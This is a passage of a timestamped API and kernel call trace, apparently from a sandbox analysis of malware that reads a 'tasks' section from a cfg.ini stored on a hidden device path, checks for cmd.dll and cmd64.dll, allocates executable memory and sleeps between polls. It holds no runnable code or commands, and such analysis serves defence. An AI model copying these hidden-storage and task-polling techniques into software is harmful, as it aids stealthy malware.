ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.844] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.844] IdePortDispatch () returned 0x103 [0129.844] KeWaitForMutexObject () returned 0x0 [0129.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.844] KeLeaveCriticalRegion () [0129.844] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.845] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.845] KeEnterCriticalRegion () [0129.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.845] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.845] KeLeaveCriticalRegion () [0129.845] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.845] KeEnterCriticalRegion () [0129.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.845] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.845] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07580, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.845] KeLeaveCriticalRegion () [0129.845] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.845] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.845] KeEnterCriticalRegion () [0129.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.845] ExFreePoolWithTag (P=0xfffffa8003c06590, Tag=0x0) [0129.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.845] KeLeaveCriticalRegion () [0129.845] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.845] ReleaseMutex (hMutex=0xf0) returned 1 [0129.845] Sleep (dwMilliseconds=0x927c0) [0129.860] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.860] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.860] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.860] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.861] KeEnterCriticalRegion () [0129.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.861] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.861] IdePortDispatch () returned 0x103 [0129.861] KeWaitForMutexObject () returned 0x0 [0129.861] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.861] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.861] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.861] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.861] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.861] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08010 [0129.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.861] KeLeaveCriticalRegion () [0129.861] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.861] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.861] KeEnterCriticalRegion () [0129.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.861] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.861] KeLeaveCriticalRegion () [0129.861] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.861] KeEnterCriticalRegion () [0129.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.861] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.861] IdePortDispatch () returned 0x103 [0129.861] KeWaitForMutexObject () returned 0x0 [0129.862] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.862] KeLeaveCriticalRegion () [0129.862] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.862] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.862] KeEnterCriticalRegion () [0129.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.862] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce2000 [0129.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.862] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.862] IdePortDispatch () returned 0x103 [0129.862] KeWaitForMutexObject () returned 0x0 [0129.862] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.862] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.862] IdePortDispatch () returned 0x103 [0129.862] KeWaitForMutexObject () returned 0x0 [0129.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.863] KeLeaveCriticalRegion () [0129.863] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.863] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.863] KeEnterCriticalRegion () [0129.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.863] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.863] KeLeaveCriticalRegion () [0129.863] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.863] KeEnterCriticalRegion () [0129.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.863] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.863] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.863] KeLeaveCriticalRegion () [0129.863] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.863] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.863] KeEnterCriticalRegion () [0129.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.863] ExFreePoolWithTag (P=0xfffffa8003c08010, Tag=0x0) [0129.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.863] KeLeaveCriticalRegion () [0129.863] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.863] ReleaseMutex (hMutex=0xf0) returned 1 [0129.864] Sleep (dwMilliseconds=0x927c0) [0129.877] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.877] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.877] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.877] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.877] KeEnterCriticalRegion () [0129.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.878] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.878] IdePortDispatch () returned 0x103 [0129.878] KeWaitForMutexObject () returned 0x0 [0129.878] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.878] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.878] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.878] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.878] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.878] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c076c0 [0129.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.878] KeLeaveCriticalRegion () [0129.878] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.878] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.878] KeEnterCriticalRegion () [0129.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.878] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.878] KeLeaveCriticalRegion () [0129.878] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.878] KeEnterCriticalRegion () [0129.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.878] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.878] IdePortDispatch () returned 0x103 [0129.878] KeWaitForMutexObject () returned 0x0 [0129.878] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.879] KeLeaveCriticalRegion () [0129.879] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.879] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.879] KeEnterCriticalRegion () [0129.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.879] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce7000 [0129.879] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.879] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.879] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.879] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.879] IdePortDispatch () returned 0x103 [0129.879] KeWaitForMutexObject () returned 0x0 [0129.879] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.879] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.879] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.879] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.879] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.879] IdePortDispatch () returned 0x103 [0129.879] KeWaitForMutexObject () returned 0x0 [0129.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.879] KeLeaveCriticalRegion () [0129.879] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.880] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.880] KeEnterCriticalRegion () [0129.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.880] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.880] KeLeaveCriticalRegion () [0129.880] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.880] KeEnterCriticalRegion () [0129.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.880] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.880] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07890, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.880] KeLeaveCriticalRegion () [0129.880] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.880] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.880] KeEnterCriticalRegion () [0129.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.880] ExFreePoolWithTag (P=0xfffffa8003c076c0, Tag=0x0) [0129.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.880] KeLeaveCriticalRegion () [0129.880] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.880] ReleaseMutex (hMutex=0xf0) returned 1 [0129.880] Sleep (dwMilliseconds=0x927c0) [0129.895] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.895] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.895] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.896] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.896] KeEnterCriticalRegion () [0129.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.896] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.896] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.896] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.896] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.896] IdePortDispatch () returned 0x103 [0129.896] KeWaitForMutexObject () returned 0x0 [0129.896] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.896] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.896] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.896] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.896] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.896] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08cc0 [0129.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.896] KeLeaveCriticalRegion () [0129.896] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.896] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.896] KeEnterCriticalRegion () [0129.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.896] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.896] KeLeaveCriticalRegion () [0129.896] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.896] KeEnterCriticalRegion () [0129.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.896] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.896] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.896] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.896] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.896] IdePortDispatch () returned 0x103 [0129.896] KeWaitForMutexObject () returned 0x0 [0129.897] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.897] KeLeaveCriticalRegion () [0129.897] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.897] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.897] KeEnterCriticalRegion () [0129.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.897] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cec000 [0129.897] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.897] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.897] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.897] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.897] IdePortDispatch () returned 0x103 [0129.897] KeWaitForMutexObject () returned 0x0 [0129.897] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.897] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.897] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.897] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.897] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.897] IdePortDispatch () returned 0x103 [0129.897] KeWaitForMutexObject () returned 0x0 [0129.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.897] KeLeaveCriticalRegion () [0129.897] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.898] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.898] KeEnterCriticalRegion () [0129.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.898] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.898] KeLeaveCriticalRegion () [0129.898] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.898] KeEnterCriticalRegion () [0129.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.898] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.898] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c08d80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.898] KeLeaveCriticalRegion () [0129.898] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.898] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.898] 